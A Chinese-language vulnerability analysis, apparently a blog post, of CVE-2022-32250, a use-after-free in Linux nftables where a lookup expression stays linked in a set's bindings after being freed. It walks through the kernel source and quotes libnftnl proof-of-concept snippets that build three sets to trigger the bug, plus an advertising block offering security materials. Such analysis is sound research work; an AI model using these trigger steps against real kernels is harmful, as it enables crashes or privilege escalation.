前言
在nftales
中存在著集合(sets
),用於儲存唯一值的集合。sets
提供了高效地檢查一個元素是否存在於集合中的機制,它可以用於各種網路過濾和轉發規則。
而CVE-2022-32250
漏洞則是由於nftables
在處理set
時存在uaf
的漏洞。
環境搭建
ubuntu20 + QEMU-4.2.1 + Linux-5.15
.config
檔案
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_USER_NS=y
,開啟名稱空間
開啟KASAN
:make menuconfig --> Kernel hacking -->Memory Debugging --> KASAN
在ubuntu20
直接安裝的libnftnl
版本太低,因此需要去https://www.netfilter.org/projects/libnftnl/index.html中下載
./configure --prefix=/usr && make
sudo make install
漏洞驗證
poc
:https://seclists.org/oss-sec/2022/q2/159
在執行poc
時,KASAN
檢測出存在uaf
漏洞
漏洞原理
從KASAN
給出的資訊可知,該漏洞與set
有關,因此從set
的建立到使用進行原始碼分析。
在nf_tables_newset
內首先需要校驗集合名、所屬的表、集合鍵值的長度以及集合的ID
是否被設定,若這些條件不具備則直接返回。
File: linux-5.15\net\netfilter\nf_tables_api.c
4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,
4206: const struct nlattr * const nla[])
4207: {
...
//判斷建立set的必備條件是否具備
4227: if (nla[NFTA_SET_TABLE] == NULL ||
4228: nla[NFTA_SET_NAME] == NULL ||
4229: nla[NFTA_SET_KEY_LEN] == NULL ||
4230: nla[NFTA_SET_ID] == NULL)
4231: return -EINVAL;
...
集合透過kvzalloc
函式開闢空間
File: linux-5.15\net\netfilter\nf_tables_api.c
...
4369: set = kvzalloc(alloc_size, GFP_KERNEL);
4370: if (!set)
4371: return -ENOMEM;
...
在成功建立集合後,就會進行初始化的過程,有一個變數需要重點關注,即set->bindings
。
File: linux-5.15\net\netfilter\nf_tables_api.c
...
//對集合做初始化
4390: INIT_LIST_HEAD(&set->bindings);
4391: INIT_LIST_HEAD(&set->catchall_list);
4392: set->table = table;
4393: write_pnet(&set->net, net);
4394: set->ops = ops;
4395: set->ktype = ktype;
4396: set->klen = desc.klen;
4397: set->dtype = dtype;
4398: set->objtype = objtype;
4399: set->dlen = desc.dlen;
4400: set->flags = flags;
4401: set->size = desc.size;
4402: set->policy = policy;
4403: set->udlen = udlen;
4404: set->udata = udata;
4405: set->timeout = timeout;
4406: set->gc_int = gc_int;
...
當初始化完畢之後,會去判斷建立集合時,該集合是否有需要建立的表示式。
File: linux-5.15\net\netfilter\nf_tables_api.c
...
//判斷是否有表示式需要建立
4416: if (nla[NFTA_SET_EXPR]) {
4417: expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); //表示式的建立
4418: if (IS_ERR(expr)) {
4419: err = PTR_ERR(expr);
4420: goto err_set_expr_alloc;
4421: }
4422: set->exprs[0] = expr;
4423: set->num_exprs++;
...
在程式碼[1]處會對錶達式進行初始化,緊接著在程式碼[2]處會對錶達式的標誌位進行校驗,當表示式的標誌位不具備NFT_EXPR_STATEFUL
屬性,那麼就會跳轉到[3]中進行銷燬表示式的處理,緊接著返回錯誤。這裡似乎會存在問題,因為代表[1]與[2]是先建立表示式再檢驗,就會導致任意的表示式被建立。
File: linux-5.15\net\netfilter\nf_tables_api.c
5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
5310: const struct nft_set *set,
5311: const struct nlattr *attr)
5312: {
5313: struct nft_expr *expr;
5314: int err;
5315:
5316: expr = nft_expr_init(ctx, attr); --->[1]
5317: if (IS_ERR(expr))
5318: return expr;
5319:
5320: err = -EOPNOTSUPP;
5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322: goto err_set_elem_expr;
5323:
...
5334: err_set_elem_expr:
5335: nft_expr_destroy(ctx, expr); --->[3]
5336: return ERR_PTR(err);
5337: }
回顧KASAN
的報告,發現該漏洞與表示式nft_lookup
有關,因此接下來關注一下lookup
表示式初始化的過程。
【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
lookup
表示式的結構體如下,可以看到在lookup
結構體裡存在著binding
變數,是上面set
會初始化的一個變數。
struct nft_lookup {
struct nft_set *set; //集合
u8 sreg; //源暫存器
u8 dreg; //目的暫存器
bool invert;
struct nft_set_binding binding;
};
nft_set_bing
結構體實則是維護了一個雙連結串列。
struct nft_set_binding {
struct list_head list;
const struct nft_chain *chain;
u32 flags;
};
nft_lookup_init
函式負責初始化lookup
表示式,可以看到需要set
與源暫存器都存在的情況下才能夠完成建立。
File: linux-5.15\net\netfilter\nft_lookup.c
095: static int nft_lookup_init(const struct nft_ctx *ctx,
096: const struct nft_expr *expr,
097: const struct nlattr * const tb[])
098: {
...
//檢測set與源暫存器的值
105: if (tb[NFTA_LOOKUP_SET] == NULL ||
106: tb[NFTA_LOOKUP_SREG] == NULL)
107: return -EINVAL;
...
緊接著檢索需要搜尋的set
。
File: linux-5.15\net\netfilter\nft_lookup.c
...
109: set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
110: tb[NFTA_LOOKUP_SET_ID], genmask);
111: if (IS_ERR(set))
112: return PTR_ERR(set);
...
最後在完成了set
的搜尋後,就會進行一個繫結操作,會將表示式的binging
接入的set
的binding
。
File: linux-5.15\net\netfilter\nft_lookup.c
...
148: err = nf_tables_bind_set(ctx, set, &priv->binding);
149: if (err < 0)
150: return err;
...
首先在繫結之前會校驗連結串列是否是匿名並且非空。
File: linux-5.15\net\netfilter\nf_tables_api.c
4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,
4607: struct nft_set_binding *binding)
4608: {
...
4615: if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))
4616: return -EBUSY;
...
在透過上面的檢測後,就會將當前表示式的加入到set
中,
File: linux-5.15\net\netfilter\nf_tables_api.c
...
4643: list_add_tail_rcu(&binding->list, &set->bindings);
...
綜上所述,bing
的作用實則是維護相同set
下的不同的表示式。具體流程如下。
在set
建立時,會初始化bindings
指向自己本身。
緊接著若有lookup
表示式建立,並繫結上述的set
時,因此透過set
的bingdings
,可以檢索在當前set
上的所有expr
。
在上面說過建立表示式的過程中會檢測表示式的標誌位是否為NFT_EXPR_STATEFUL
,如[2]所示
5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322: goto err_set_elem_expr;
在初始化lookup
表示式時,是不會給flags
設定值的,因此預設值即為0
,因此在建立set
的同時建立lookup
表示式,lookup
表示式的型別是預設為0
,是無法繞過檢測的。
struct nft_expr_type nft_lookup_type __read_mostly = {
.name = "lookup",
.ops = &nft_lookup_ops,
.policy = nft_lookup_policy,
.maxattr = NFTA_LOOKUP_MAX,
.owner = THIS_MODULE,
};
那麼就會進入銷燬表示式[3]
5334: err_set_elem_expr:
5335: nft_expr_destroy(ctx, expr); --->[3]
5336: return ERR_PTR(err);
nft_expr_destory
函式內除了是否表示式外還會呼叫nf_tables_expr_destroy
函式
File: linux-5.15\net\netfilter\nf_tables_api.c
2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)
2824: {
2825: nf_tables_expr_destroy(ctx, expr);
2826: kfree(expr);
2827: }
在nf_tables_exor_destroy
函式會呼叫表示式的destroy
操作
File: linux-5.15\net\netfilter\nf_tables_api.c
2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
2762: struct nft_expr *expr)
2763: {
2764: const struct nft_expr_type *type = expr->ops->type;
2765:
2766: if (expr->ops->destroy)
2767: expr->ops->destroy(ctx, expr); //表示式的刪除操作
2768: module_put(type->owner);
2769: }
nft_lookup_destroy
函式內部呼叫了nf_tables_destroy_set
函式
File: linux-5.15\net\netfilter\nft_lookup.c
173: static void nft_lookup_destroy(const struct nft_ctx *ctx,
174: const struct nft_expr *expr)
175: {
176: struct nft_lookup *priv = nft_expr_priv(expr);
177:
178: nf_tables_destroy_set(ctx, priv->set);
179: }
在nf_tables_destroy_set
函式內部中有一個簡單的判斷,若不成立那麼實際上nf_tables_destroy_set
不會做任何操作。那麼就會造成一個漏洞,若我們建立的表示式lookup
已經被繫結在set
上,因此list_empty(&set->bindings
為0
,那麼就會導致destroy
操作不會執行任何操作。就會將lookup
表示式殘留在set->bingdings
中。
File: linux-5.15\net\netfilter\nf_tables_api.c
4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
4684: {
4685: if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) //判斷`set->bingings是否為空,以及`set`是否匿名
4686: nft_set_destroy(ctx, set);
4687: }
由於lookup->destory
不會執行任何操作,就會導致lookup
表示式仍然殘留在set->bingdings
上,但是由於表示式的標誌位不能透過校驗,隨後該表示式就會被釋放。
POC分析
首先建立一個名為set_stable
的set
,為後續建立lookup
表示式做準備。
set_name = "set_stable";
nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);
緊接著建立名為set_trigger
的set
,並同時將標誌位設定為NFT_SET_EXPR
,那麼就能在建立set
的同時建立表示式,建立的表示式為lookup
表示式,並且搜尋的set
的名為set_stable
,這裡需要注意的是,第一個建立的set
是為了後續的lookup
表示式提供搜尋的set
,而第二次的set
是為了建立set
的同時建立lookup
表示式,因此第二個set
的作用僅僅是為了建立lookup
表示式。
set_name = "set_trigger";
nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);
nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);
exprs[exprid] = nftnl_expr_alloc("lookup");
nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
// nest the expression into the set
nftnl_set_add_expr(set_trigger, exprs[exprid]);
最後就是觸發漏洞,第三次的set
同樣的也僅僅是為了建立lookup
表示式,由於此時名為set_stable
的set->bingdings
還存在著被釋放掉的lookup
表示式的指標,因此在第三次建立的時候就會將新建立的lookup
表示式連結到上述已經被釋放的lookup
表示式中,從而導致的uaf
漏洞。
set_name = "set_uaf";
nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR);
nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id);
exprs[exprid] = nftnl_expr_alloc("lookup");
nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
更多網安技能的線上實操練習,請點選這裡>>